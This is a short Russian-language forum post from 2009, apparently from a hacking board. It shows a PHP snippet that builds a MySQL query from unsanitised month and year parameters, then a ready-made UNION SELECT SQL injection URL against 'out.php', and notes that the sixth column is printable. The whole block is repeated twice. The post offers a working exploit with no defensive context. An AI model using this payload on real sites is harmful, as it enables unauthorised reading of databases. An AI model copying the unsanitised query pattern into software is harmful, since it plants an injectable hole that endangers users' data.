FriLL
02.09.2009, 18:48
Уязвимый код
if((isset($month))&&(isset($year)))
{ //Выбираем из базы по месяцам
$mysql="SELECT * FROM $tablename WHERE ((month=$month) AND (year=$year)) ORDER BY date DESC";
expl
out.php?month=09&year=1))-1+union+select+1,2,3,4,5,6+--+
6 поле принтабельное
if((isset($month))&&(isset($year)))
{ //Выбираем из базы по месяцам
$mysql="SELECT * FROM $tablename WHERE ((month=$month) AND (year=$year)) ORDER BY date DESC";
expl
out.php?month=09&year=1))-1+union+select+1,2,3,4,5,6+--+
6 поле принтабельное